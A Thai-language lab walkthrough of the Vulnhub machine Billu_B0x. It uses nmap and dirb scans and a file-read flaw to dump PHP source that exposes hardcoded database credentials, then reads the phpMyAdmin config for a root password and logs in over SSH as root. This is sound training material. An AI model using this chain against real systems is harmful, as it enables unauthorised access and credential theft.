วิธีการผ่าน Billu_B0x – Vulnhub
จากครั้งที่แล้วเราได้เล่น Pluck ไปแล้ว วันนี้มาเล่นโจทย์ที่ง่ายกว่านั้นอีกหน่อย ซึ่งเพิ่งจะปล่อยให้ download มาเล่นได้ไม่นาน นั่นคือ Billu_b0x ครับ โดยสามารถ download ได้จาก link นี้ครับ
1. Scan ping sweep ทั้ง network
1 |
nmap -sn 10.211.55.0/24 |
จากผลการ scan พบว่า Billu_b0x จะอยู่ที่ IP 10.211.55.27 ส่วน Kali ของเราจะเป็น IP 10.211.55.3
2. Scan port พบว่ามี port 22,80 เปิดให้บริการอยู่
1 |
nmap -p1-65535 10.211.55.27 |
3. เมื่อเข้ามายังเว็บไซด์จะเห็นว่าเป็นหน้า login แล้วท้าให้ทำ SQL Injection อีกด้วย
แต่ทดสอบเบื้องต้นแล้วขึ้น Dialog เป็น “Try Again” ตลอด
4. เลยหาทางอื่นดูโดยใช้ dirb ในการ brute force path ต่างๆของเว็บไซด์ครับ
1 |
dirb http://10.211.55.27/ /usr/share/wordlists/dirb/big.txt |
จะพบว่ามี path ที่น่าสนใจอยู่คือ panel, server-status, show, test, phpmy และอื่นๆ
5. พอเข้าไปที่หน้า test พบว่าต้องการ file parameter ด้วย เลยลองกำหนดเป็น file=index.php ดู
ปรากฏว่าเราสามารถ download file index.php กลับมาได้ จากนั้นดู source code ของ index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
<?php session_start(); include('c.php'); include('head.php'); if(@$_SESSION['logged']!=true) { $_SESSION['logged']=''; } if($_SESSION['logged']==true && $_SESSION['admin']!='') { echo "you are logged in :)"; header('Location: panel.php', true, 302); } else { echo '<div align=center style="margin:30px 0px 0px 0px;"> <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> <br><br> Show me your SQLI skills <br> <form method=post> Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br> <input type=submit name=login value="let\'s login">'; } if(isset($_POST['login'])) { $uname=str_replace('\'','',urldecode($_POST['un'])); $pass=str_replace('\'','',urldecode($_POST['ps'])); $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''; $result = mysqli_query($conn, $run); if (mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); echo "You are allowed<br>"; $_SESSION['logged']=true; $_SESSION['admin']=$row['username']; header('Location: panel.php', true, 302); } else { echo "<script>alert('Try again');</script>"; } } echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> "; ?> |
จะพบการ include c.php และ head.php อยู่
6. ทดสอบดู c.php จะพบ source code ของการเชื่อมต่อ database
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<?php #header( 'Z-Powered-By:its chutiyapa xD' ); header('X-Frame-Options: SAMEORIGIN'); header( 'Server:testing only' ); header( 'X-Powered-By:testing only' ); ini_set( 'session.cookie_httponly', 1 ); $conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab"); // Check connection if (mysqli_connect_errno()) { echo "connection failed -> " . mysqli_connect_error(); } ?> |
จะพบว่ามีการใช้ credential ในการเชื่อมต่อไปยัง database ดังนี้
- user: billu
- password: b0x_billu
- database: ica_lab
7. จาก step 4 เราพบว่ามี phpmy ด้วย ซึ่งจากการทดสอบเข้าไปดูก็ปรากฏว่าเป็น phpmyadmin
8. ทีนี้เราก็จะอ่าน configuration ของ phpmyadmin โดยการอ่านไฟล์ที่ path /var/www/phpmy/config.inc.php ได้ source code ออกมาเป็น
พบว่า root user มี password เป็น roottoor
9. เอา credential ใน step 8 ไปลองเข้าผ่าน ssh ดู ก็ปรากฏว่าสามารถเข้าระบบโดยเป็น root user ได้ครับ